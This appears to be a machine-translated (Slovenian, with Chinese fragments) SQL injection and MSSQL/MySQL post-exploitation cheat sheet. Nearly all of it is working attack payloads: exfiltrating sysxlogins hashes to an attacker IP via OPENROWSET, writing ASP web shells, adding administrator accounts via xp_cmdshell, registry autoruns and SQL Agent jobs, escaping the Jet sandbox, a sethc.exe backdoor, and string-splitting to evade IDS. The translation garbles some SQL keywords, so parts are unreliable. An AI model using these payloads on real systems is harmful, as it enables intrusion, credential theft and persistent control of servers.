* iz tabele1) izberite * iz baze podatkov.. Tabela1 insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi
* iz tabele2) izberi * iz baze podatkov.. Tabela2
Zgoščena vrednost gesla, ki kopira prijavo _blank> geslo hash tabele (HASH), je shranjena v sysxlogins. Tukaj je, kako: insert into OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi * iz _blank>_sysxlogins)
Select * from database.dbo.sysxlogins Ko enkrat dobiš hash, ga lahko uporabiš z brutalno silo.
Za prečkanje mape: Najprej ustvarite začasno tabelo: temp ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; vstavi začasno izvršno master.dbo.xp_blank>_availablemedia; – Pridobite vse trenutne pogone ; vstavi v temp(id) izvršni master.dbo.xp_blank>_subdirs c:\; – Pridobite seznam podimenikov ; vstavi v temp(id,num1) izvršni master.dbo.xp_blank>_dirtree c:\; – Pridobite strukturo drevesa imenikov za vse podimenike,
Spojite palce v temperaturno tabelo ; vstavi v temp(id) exec master.dbo.xp_blank>_cmdshell vpiši c:\web\index.asp; – Oglejte si datoteko
Vsebina ; vstavi v temp(id) izvršni master.dbo.xp_blank>_cmdshell dir c:\; – ; vstavi v temp(id) izvršni master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; insert into temp(id) exeec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; vstavi v temp(id,num1) izvršni master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Ustrezna pristojnost
JAVNO) Pišite na mizo: izjava 1: in 1=(Izberi IS_blank>_SRVROLEMEMBER(sysadmin)); – Izjava 2: in 1=(Izberi IS_blank>_SRVROLEMEMBER(strežnikadmin)); – Izjava 3: in 1=(Izberi IS_blank>_SRVROLEMEMBER(setupadmin)); – Izjava 4: in 1=(Izberi IS_blank>_SRVROLEMEMBER(securityadmin)); – Izjava 5: in 1=(Izberi IS_blank>_SRVROLEMEMBER(securityadmin)); – Izjava 6: in 1=(Izberi IS_blank>_SRVROLEMEMBER(diskadmin)); – Izjava 7: in 1=(Izberi IS_blank>_SRVROLEMEMBER(bulkadmin)); – Izjava 8: in 1=(Izberi IS_blank>_SRVROLEMEMBER(bulkadmin)); – Izjava 9: in 1=(Izberi IS_blank>_MEMBER(db_blank>_owner)); –
Zapišite pot do mize: ; Create table dirs(paths varchar(100), id int)– ; vstavi direktors izvršni master.dbo.xp_blank>_dirtree c:\– in 0<>(izberi Top 1 poti iz Dirs)– in 0<>(izberi zgornjo 1 pot iz dirjev, kjer poti niso v(@Inetpub))– ; Create table dirs1(paths varchar(100), id int)– ; vstavi direktors exec master.dbo.xp_blank>_dirtree e:\web– in 0<>(izberi top 1 poti iz dirs1)–
Varnostna kopija _blank> baze podatkov v spletni imenik: Prenesi ; declare @a sysname; množica @a=db_blank>_name(); Backup database @a to disk=e:\web\down.bak; –
in 1=(Izberi prvo ime iz(Izberi top 12 id,ime iz sysobjects, kjer xtype=char(85)) T
vrstni red po ID opisu) in 1=(Izberi Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) iz sysobjects) Glej tudi
Sorodne tabele. in 1=(izberi user_blank>_id iz USER_blank>_LOGIN) in 0=(izberi uporabnika iz USER_blank>_LOGIN kjer uporabnik>1)
-=- wscrip{filter}t.shell primer -=- deklariraj @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out izvršni sp_blank>_oamethod @o, teči, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
razglasite @o int, @f int, @t int, @ret int razglasite @line varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out izvršni sp_blank>_oamethod @o, OpenTextfile, @f out, C:\boot.ini, 1 izvršni @ret = sp_blank>_oamethod @f, readline, @line konec medtem ko ( @ret = 0 ) začetek tiskani @line izvršni @ret = sp_blank>_oamethod @f, readline, @line konec konec
razglasite @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, pisana vrstica, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
Deklariraj @o inteligenco, @ret inteligenco izvršni sp_blank>_oacreate speech.voicetext, @o konec exec sp_blank>_oamethod @o, register, NULL, foo, bar izvršni sp_blank>_oasetproperty @o, hitrost, 150 izvršni sp_blank>_oamethod @o, govori, NULL, vsi tvoji strežniki za nadaljevanje pripadajo nam, 528 čakanje na zamudo 00:00:05
; declare @o int, @ret int executive sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, register, NULL, foo, bar executive sp_blank>_oasetproperty @o, speed, 150 executive
sp_blank>_oamethod @o, govori, NULL, vsi tvoji strežniki za nadaljevanje pripadajo nam, 528 čakaj na zamudo
00:00:05–
xp_blank>_dirtree veljavno JAVNO dovoljenje izvršni master.dbo.xp_blank>_dirtree c: Vrnjene informacije imajo dve polji: podimenik, globina. Polja podimenikov
Tip lika, globinsko polje je polje oblikovanja. Create table dirs(paths varchar(100), id int) Pri sestavljanju tabele je tabela, ustvarjena tukaj, povezana z zgornjim xp_blank>_dirtree, z enakimi polji in enakim tipom. vstavi dirs exec master.dbo.xp_blank>_dirtree c: Dokler zgradimo tabelo in enako definiramo polja, ki jih vrne postopek shranjevanja
Izvedite! Da dosežemo učinek pisanja tabel, korak za korakom, da dosežemo želene informacije! Ta injekcija napak temelji predvsem na prelivanju Mysql podatkovnega tipa mysql > SELECT 18446744073709551610 * 2 ; NAPAKA 1690 (22003): BIGINT UNSIGNED vrednost je izven območja v '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; NAPAKA 1690 ( 22003 ): BIGINT UNSIGNED vrednost je izven območja v '(- (1) *
9223372036854775808)' Različica baze poizvedb: mysql> SELECT * 2 (če ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610,
18446744073709551610)); NAPAKA 1690 (22003): BIGINT VREDNOST BREZ znaka je izven območja v '(2 * če (( Izberi ' 5.5 'iz
Dual), 18446744073709551610.18446744073709551610))' Pridobite ime polja: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) kot '' limit 1)>(SELECT * from
test.shop meja 1), 18446744073709551610, 18446744073709551610);
NAPAKA 1690 (22003): Vrednost BIGINT UNSIGNED je izven območja v '(2 * if((((select
'article','dealer', 'price' from (izberite 'test'.'shop'.'article' AS
'članek','test'.'trgovina'.'prodajalec' AS 'prodaja','test'.'trgovina'.'cena' AS 'cena' iz
'test'.'shop') omejitev 1) > (izberi
'test'.'trgovina'.'artikl','test'.'trgovina'.'prodaja','test'.'trgovina'.'cena' iz 'test'.'shop' omejitev
1)),18446744073709551610,18446744073709551610))' Pridobite vrednost polja:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) kot '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
NAPAKA 1690 (22003): Vrednost BIGINT UNSIGNED je izven območja v '(2 * if((((select
'lokalni gostitelj', 'korenina','*', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y
Y','Y','Y','Y','Y','Y', 'Y','Y', 'Y','Y','0','0','0',' iz dualnega limita 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Upoštevajte, da ta metoda ne deluje s starejšimi različicami Mysql, zato boste morali poznati omejitev dolžine sporočila o napaki, saj bo to določilo
Lahko dobite toliko časa, kot želite: mysys / my_error.c
/* Največja dolžina sporočila o napaki. Naj bo usklajeno z MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Če je objekt MariaDB (veja Mysql), boste morda ob poskusu zgornje metode videli podobno sporočilo o napaki:
mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) NAPAKA 1690 (22003): BIGINT VREDNOST BREZ ZNAKA je izven območja v '(2 * if(((select
#),18446744073709551610,18446744073709551610))'
Kot rešitev lahko ta problem rešimo takole:
mysql> SELECT (I NI NULL) - -9223372036854775808 FROM (SELECT (VERSION())i)a; NAPAKA 1690 (22003): Vrednost BIGINT je izven območja v '(('5.5-MariaDB' ni null) - -
(9223372036854775808))' Zdaj pa poglejmo, ali lahko naš vektor nekoliko skrajšamo
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (i NI NIČL) - -9223372036854775808 IZ (SELECT (version())i)a = select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) kot '' limit 1)>(SELECT * iz
test.shop meja 1), 18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) kot '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 izberite 1E308*if((select user|| gostitelj|| geslo|| file_priv from(select*from mysql.user LIMIT
1) meja 1),2,2)
//获取字段个数
izberite 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Nekatere druge deformacije
SELECT (i NI NIČL) - -9223372036854775808 IZ (SELECT (version())i)a izberite 1E308*if((select user|| gostitelj|| geslo|| file_priv from(select*from mysql.user LIMIT
1) omejitev 1),2,2); => izberi 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); mysql> izberi (izberi * iz mysql.user)=1; mysql> izberite (izberite * iz mysql.user)in(1);
NAPAKA 1241 (21000): Operand bi moral vsebovati 42 stolpcev izberi 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); izberi if((izberi uporabnik|| gostitelj|| geslo|| file_priv from(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (i NI NIČL) - -9223372036854775808 IZ (SELECT (version())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; NAPAKA 1690 (22003): BIGINT UNSIGNED vrednost je izven območja v '((not('root@localhost')) - ~
(0))' 3. Presodi podatkovni sistem ; in (select count(*) iz sysobjects)>0 mssql ; in (izberi count(*) iz msysobjects)>0 dostop 4. Parameter vbrizgavanja je znak 'in [kriteriji poizvedb] in ''=' 5. Med iskanjem ni filtriranih parametrov 'in [kriteriji poizvedb] in '%25'=' 6. Ugani bazo podatkov ; in (izberite Count(*) iz [ime baze podatkov])>0 7. Ugani polje ; in (izberite Count(ime polja) iz imena baze)>0 8. Ugani dolžino zapisa na polju ; in (izberite top 1 len (ime polja) iz imena baze podatkov)>0 9. (1) Ugani ASCII vrednost polja (dostop) ; in (izberite Top 1 ASC(Mid(Field Name, 1,1)) iz imena baze podatkov)>0 (2) Ugani ASCII vrednost polja (mssql) ; in (izberite top 1 unicode(substring(ime polja, 1,1)) iz imena baze podatkov)>0 10. Struktura dovoljenj za testiranje (mssql) ; in 1=(izberite IS_SRVROLEMEMBER('sysadmin')); -- ; in 1=(izberite IS_SRVROLEMEMBER('serveradmin')); -- ; in 1=(izberi IS_SRVROLEMEMBER('setupadmin')); -- ; in 1=(izberite IS_SRVROLEMEMBER('securityadmin')); -- ; in 1=(izberi IS_SRVROLEMEMBER('diskadmin')); -- ; in 1=(izberite IS_SRVROLEMEMBER('bulkadmin')); -- ; in 1=(izberite IS_MEMBER('db_owner')); -- 11. Dodajte račun za mssql in sistem ; izvršni master.dbo.sp_addlogin uporabniško ime; -- ; izvršni master.dbo.sp_password null, uporabniško ime, geslo; -- ; uporabniško ime izvršnega master.dbo.sp_addsrvrolemember sistemskega administratorja; -- ; Exec master.dbo.xp_cmdshell 'Net uporabniško ime geslo /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; izvršni master.dbo.xp_cmdshell 'net uporabniško ime, geslo /add'; -- ; izvršni master.dbo.xp_cmdshell 'Uporabniško ime administratorjev lokalnih skupin /add'; -- 12. (1) Preglejte katalog ; Create table dirs(paths varchar(100), id int) ; vstavi direktors exec master.dbo.xp_dirtree 'c:\' ; in (izberi top 1 poti iz dirs)>0 ; in (izberi zgornje 1 poti iz dirjev, kjer poti niso v ('poti, pridobljene iz prejšnjega koraka'))>) (2) Prečkati katalog ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; vstavi začasno izvršno master.dbo.xp_availablemedia; -- Pridobite vse tokovne pogone ; vstavi v temp(id) izvršni master.dbo.xp_subdirs 'c:\'; -- Pridobite seznam podimenikov ; vstavi v temp(id,num1) izvršilko master.dbo.xp_dirtree 'c:\'; -- Pridobi strukturo drevesa imenikov za vse podimenike ; vstavi v temp(id) exec master.dbo.xp_cmdshell 'vpiši c:\web\index.asp'; -- Oglejte si vsebino datoteke 13. Shranjene procedure v mssql xp_regenumvalues Korenski ključ registra, otroški ključ ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' in še več
Metoda zapisov za vrnitev vseh vrednosti ključev xp_regread Korenski ključ, otroški ključ, ime ključ-vrednost ; izvršni xp_regread 'HKEY_LOCAL_MACHINE','PROGRAMSKA OPREMA\Microsoft\Windows
\CurrentVersion','CommonFilesDir' vrne vrednost formulacijskega ključa xp_regwrite Korenski ključ, otroški ključ, ime vrednosti, tip vrednosti, vrednost Obstajata dve vrsti vrednostnih tipov REG_SZ REG_DWORD za tipe znakov in za cela števila ; izvršni xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' so zapisani v register xp_regdeletevalue Korenski ključ, podključ, ime vrednosti izvršni xp_regdeletevalue 'HKEY_LOCAL_MACHINE','PROGRAMSKA OPREMA\Microsoft\Windows
\CurrentVersion', 'TestvalueName' za odstranitev vrednosti xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' tipka za brisanje,
Vse vrednosti vključite pod ta ključ 14. MSSQL varnostno kopiranje ustvari spletno lupino Model uporabe create table cmd (str image); vstavi v cmd(str) vrednosti ('<% Dim oscrip{filter}t %>'); model varnostne kopije baze podatkov na disk='c:\l.asp'; 15. Vgrajene funkcije MSSQL ; in (izberite @@version)>0 za pridobitev številke različice Windows ; in user_name()='dbo' za ugotavljanje, ali je povezan uporabnik trenutnega sistema SA ; in (izberi user_name()>0 Eksplodiral povezane uporabnike trenutnega sistema ; in (izberite db_name()>0 za pridobitev trenutno povezane baze podatkov 16. Jedrnata spletna lupina Model uporabe create table cmd (str image); Vstavi v cmd(str) vrednosti ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); model varnostne kopije baze podatkov na disk='g:\wwwtest\l.asp'; Pri prošnji uporabite nekaj takega:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Pridobite vsa imena baz podatkov, vključno s sistemskimi bazami podatkov –IZBERI ime IZ master.dbo.sysdatabases
– Pridobite vsa imena podatkovnih baz, ki niso sistemska –izberi [ime] iz master.dbo.sysdatabases, kjer DBId>6 Uvrsti po [ime]
– Pridobite vse informacije, vključno z naslovom datoteke baze podatkov –izberi * iz master.dbo.sysdatabases, kjer DBId>6 Order By
[Ime]
Ta poizvedba o ukazu vrne vse uporabniške tabele
Izberite * iz sysobject, kjer je xtype='u'
Poizvedba po vseh informacijah podatkovnih tabel v sistemu
Izberite * iz sysobjects
Poglej ime stroja Izberite * iz sys.servers
Kazalo vsebine stolpca izvršni master.dbo.xp_subdirs 'C:\'
izvršilni master.dbo.xp_dirtree 'C:',1,1 db_owner Dovoljenja je mogoče uveljavljati
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Programska koda, napisana v spletni lupini
izvršni master.dbo.xp_subdirs 'd:\web\www.xx.com'; Izvršni sp_makewebtask:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Izvrši mojster.. xp_enumgroups
Uporabniki sistema prehoda
Izvrši mojster.. xp_getnetname Pridobite trenutno ime stroja
--Seznam fiksnih diskov na strežniku skupaj z razpoložljivim prostorom za vsak disk DBO Public
Izvedi
xp_ntsec_enumdomains
-- Ustvarite račun za prijavo v MSSQL izvršni master.dbo.sp_addlogin ime, prestopi; --
-- Navedi ime strežniške domene xp_ntsec_enumdomains // Ime stroja //dbo public
-- Ustavi ali zaženi storitev xp_servicecontrol 'stop', 'urnik' //urnik je ime storitve //dbo
--Uporabite PID
Ustavi izvajanje programa xp_terminate_process 123 //123 je PID //DBO
-- Navedeni so samo podimeniki v imeniku dbo.xp_subdirs 'C:' //dbo
SQL Server Način odprtja xp_cmdshell leta 2005 EXEC sp_configure 'prikaži napredne možnosti', 1; REKONFIGURIRANJE; IZVRŠNI ODBOR
sp_configure 'xp_cmdshell', 1; REKONFIGURIRANJE;
SQL2005 Odpri 'OPENROWSET' Podprte metode: izvršni sp_configure 'prikaži napredne možnosti', 1; REKONFIGURIRANJE; izvršni sp_configure 'Ad Hoc
Distribuirane poizvedbe',1; REKONFIGURIRANJE;
SQL2005 omogočiti podporo 'sp_oacreate': izvršni sp_configure 'prikaži napredne možnosti', 1; REKONFIGURIRANJE; izvršni odbor
sp_configure 'Stari avtomatizacijski postopki',1; RECONFIGURE
Kako omogočiti xp_cmdshell v SQL Server 2008
-- Da bi omogočili spreminjanje naprednih možnosti. IZVRŠNI ODBOR
sp_configure 'prikaži napredne možnosti', 1 POJDI -- Za posodobitev trenutno konfigurirane vrednosti za
Napredne možnosti. RECONFIGURE POJDI -- Za omogočanje funkcije. IZVRŠNI sp_configure 'xp_cmdshell', 1 POJDI -- Za
Posodobi trenutno nastavljeno vrednost za to funkcijo. RECONFIGURE POJDI
Exec xp_cmdshell 'ipconfig'
Danes sem želel spremeniti geslo za prijavo SA strežnika baze podatkov, a sem nenadoma pozabil, zato sem moral odpreti analizator poizvedb s pomočjo drugih računov, da sem spremenil geslo za SA
Zelo preprosto je:
Izvedba: sp_password Null, 'teracypwd', 'sa' Nastavi geslo za SA na "teracypwd"
Po uspešni usmrtitvi
Obstaja "Ukaz(i) uspešno izvedeni." V redu!
V dovoljenju baze podatkov ločimo način pridobivanja IP-naslova strežnika baze podatkov MSSQL
1. Lokalna NC posluša NC - VVLP 80
2.; vstavi v
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Omrežje=DBMSSOCN; Naslov=vaš IP, 80; ', 'izberi * iz
dest_table') izberi * iz src_table; --
Izberi * iz OpenRowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','izberi uporabnika; ')
Uvoz in izvoz baze podatkov
/*不同服务器数据库之间的数据操作*/
--Ustvari strežnik povezav izvršni sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'ime oddaljenega strežnika ali IP naslov' izvršni sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'uporabniško ime', 'geslo'
--primer poizvedbe izberite * iz ITSV.database name.dbo.table name
--uvozni primer Izberi *
v tabelo iz ITSV.databasename.dbo.tablename
--Izbrišite povezani strežnik, če v prihodnosti ne bo več v uporabi izvršni sp_dropserver 'ITSV',
'droplogins'
-- Povezovanje z oddaljenimi/LAN podatki (openrowset/openquery/opendatasource) --1、openrowset
--primer poizvedbe Izberi *
from openrowset( 'SQLOLEDB ', 'sql server name'; 'Uporabniško ime'; 'password', ime baze podatkov.dbo.table)
-- Generirajte lokalno tabelo select * v tabelo iz openrowset( 'SQLOLEDB ', 'sql server name '; 'Uporabniško ime'; 'Geslo', številka
Glede na ime baze podatkov, ime tabele)
-- Uvozite lokalno tabelo v oddaljeno tabelo vstavi openrowset( 'SQLOLEDB', 'sql server name'; 'Uporabniško ime'; 'Gesla', baze podatkov
ime.dbo.ime tabele) Izberite *iz lokalne tabele
-- Posodobite lokalne tabele POSODOBITEV B množica b. stolpec A = a from openrowset( 'SQLOLEDB ', 'sql server name'; 'Uporabniško ime'; '
geslo ', ime baze podatkov .dbo.table) kot notranji join lokalna tabela b na a.column1=b.column1
--openquery Uporaba zahteva vzpostavitev povezave
--Najprej ustvarite povezavo za ustvarjanje strežnika povezave izvršni sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'ime oddaljenega strežnika ali IP naslov' --Povprašaj Izberi * FROM openquery(ITSV, 'SELECT * FROM podatkov
library.dbo.table ime ') -- Uvozite lokalno tabelo v oddaljeno tabelo vstavi openquery(ITSV, 'SELECT * FROM database.dbo.table name') Izberite * iz lokalnega
tabela --posodobi lokalno tabelo POSODOBITEV B množica b. stolpec B=a FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
kot notranja združitev, lokalna tabela b na a. stolpec A=b. stolpec A
--3、opendatasource/openrowset IZBERI * IZ
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; ID uporabnika = Prijavno ime; Geslo=Geslo '
).test.dbo.roy_ta -- Uvozite lokalno tabelo v oddaljeno tabelo
Izbris in obnova xp_cmdshell
Načini za okrevanje xp_cmdshell Izbriši razširjeno shranjeno proceduro xp_cmdshell
Izjava izvršni sp_dropextendedproc 'xp_cmdshell'
Obnovitev SQL stavka cmdshell izvršni sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
izvršni odbor
master.dbo.addendedproc 'xp_cmdshell','xplog70.dll'; Izberi Count(*) iz
master.dbo.sysobjects kjer xtype='x' in Rezultat je 1 in je v redu
V nasprotnem primeru moraš naložiti c:\inetput\web
\xplog70.dll kasneje izvršni master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Če ga izbrišete na naslednji način Postopek spuščanja sp_addextendedproc Postopek spuščanja sp_oacreate izvršni odbor
sp_dropextendedproc 'xp_cmdshell'
Lahko ga obnovite z naslednjo izjavo dbcc addextendedproc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
Na ta način ga je mogoče neposredno obnoviti, ne glede na to, ali sp_addextendedproc obstaja ali ne
1、 Uporabite xp_cmdshell: Izvršni master.dbo.xp_cmdshell "NET User, Admin, Admin /ADD" izvršni odbor
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
V xp_cmdshell primeru uporabite sp_oacreate za sledenje sp_oamethod: deklariraj @object int izvršni odbor
sp_oacreate 'wscrip{filter}t.Shell', @object konec izvršni sp_oamethod
@object,'Run', NULL,'net user admin admin /add' izvršni sp_oamethod @object,'Beži', NULL,'net
localgroup Administratorji admin /add'
Opomba: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Uporabi sp_oacreate in FSO deklariraj @o int izvršni sp_oacreate
'scrip{filter}ting.filesystemobject', @o out Exec sp_oamethod @o, 'copyfile',null,'c:\Windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; deklariraj @oo int izvršni odbor
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out Izvršni sp_oamethod @oo,
'copyfile', null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';
Uporabi xp_regwrite (db_owner, potreben je ponovni zagon): izvršni master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add' izvršni master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. Uporabi sp_add_job: izvršni odbor
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Uporabite MSDB Exec sp_delete_job
null,'x' izvršni sp_add_job 'X' izvršni sp_add_jobstep
Null,'x', Null,'1', 'CMDEXEC', 'cmd /c net user admin admin /add' izvršni sp_add_jobserver
Null, 'x', @@servername izvršni sp_start_job 'x'
Veliko SA je uspelo na številnih napravah neposredno v načinu peskovnika, vendar ga nikoli nisem vadil in ne vem, kakšna je stopnja uspešnosti. Ko je podaljšek odstranjen, najprej
Obnoviti shranjevanje za branje in pisanje v register. dbcc addextendedproc ('xp_regread','xpstar.dll') dbcc addextendedproc
('xp_regwrite','xpstar.dll')
Popravljen zaščiten način peskovnika Izvršni mojster.. xp_regwrite 'HKEY_LOCAL_MACHINE','PROGRAMSKA OPREMA\Microsoft\Jet
\4.0\Engines','SandBox Mode','REG_DWORD',0; --
Preverite, ali se je vrednost 'SandBoxMode' spremenila na 0.
izvršni master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','PROGRAMSKA OPREMA
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Na koncu pokliči način peskovnika Select * from openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user pass /add")')
Če način zaščite peskovnika ni "izklopljen", se prijavi napaka: Strežnik: Msg 7357, nivo 16, stanje 2, linija 1
Ni uspelo obdelati objekta 'select shell("cmd.exe /c net user pass /add")'. OLE DB zagotavlja programe
Predgovor 'microsoft.jet.oledb.4.0' navaja, da v objektu ni stolpcev.
Sledenje napakam OLE DB [Napaka brez vmesnika: ponudnik OLE DB ne more obdelati objekta, ker je objekt
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
uporabnik passwd /add")']。
2、 Če .mdb ne obstaja ali je vhodna pot napačna Strežnik: Msg 7399, nivo 16, stanje 1, linija 1
OLE DB provider 'microsoft.jet.oledb.4.0' error. [Ponudnik OLE/DB je vrnil sporočilo:
Datoteka 'C:\WINDOWS\system32\ias\dnary1.mdb' ni najdena. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned
0x80004005: ]。
3. Če je med vnosom več prostorov, bo prav tako prijavljena napaka. Posebno pozornost namenite temu, veliko ljudi neposredno išče članke na spletu
Prilepite in zaženete. Strežnik: Msg 7357, nivo 16, stanje 2, linija 1 Ni uspelo obdelati objekta 'select'
shell("cmd.exe /c net uporabnik passwd /add")'。 Ponudnik OLE DB 'microsoft.jet.oledb.4.0' navaja, da v objektu ni stolpcev.
Sledenje napakam v OLE DB [Napaka brez vmesnika: Ponudnik OLE DB ne more obdelati objekta, saj je objekt
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Če so dovoljenja za mdb in cmd.exe napačna, se težava prav tako pojavi. Ko so dovoljenja MDB napačna, Strežnik: Odstrani
Interes 7320, nivo 16, država 2, linija 1
Ni mogel odgovoriti OLE DB provider 'Microsoft.Jet.OLEDB.4.0' izvede poizvedbo. [OLE/DB ponudnik vrnjen
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Če je dovoljenje za omrežje napačno, ni nobenega poziva.
Zadnji način za povečanje avtoritete je, da ias.mdb in cmd.exe sistema naložimo v trenutni spletni imenik, net.exe tri datoteke.
Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe uporabnik passwd /add")') Uspešno dodajte uporabnika računalnika.
Razdeljevanje cmdshell obide IDS declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' razglasi
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Uredi: preklop registracije Izvršni mojster.. xp_regwrite 'HKEY_LOCAL_MACHINE','PROGRAMSKA OPREMA\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe',''bugugger','REG_sz','c:\windows
\system32\cmd.exe on'; --
Poizvedba na strežnik povezav izbrati
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers izbrati
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers
Poizvedba linkserver2 Izberi Distinct Hostname,db_name(dbid),net_address,loginame,program_name iz
Mojster.. Sysprocesi
Poizvedba na strežnik povezav in drugi prijavljeni uporabniki Select * from [192.168.1.1].master.dbo.syslogins
Poizvedba linkserverja Vse baze podatkov izberite * iz linkedSrvWeb.master.dbo.sysdatabases
Izvajanje razširjenega shranjevanja na LinkServerju izvršni [IP].master.dbo.xp_cmdshell
Poizvedba po vseh tabelah na strežniku povezav Izberite * iz [IP].master.dbo.sysobjects
Izberi * iz OpenRowset
('sqloledb','server=IP; uid=uporabnik; pwd=password','select @@version')
select * from openquery([LINKSERVER
ime],'izberi @@version')
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
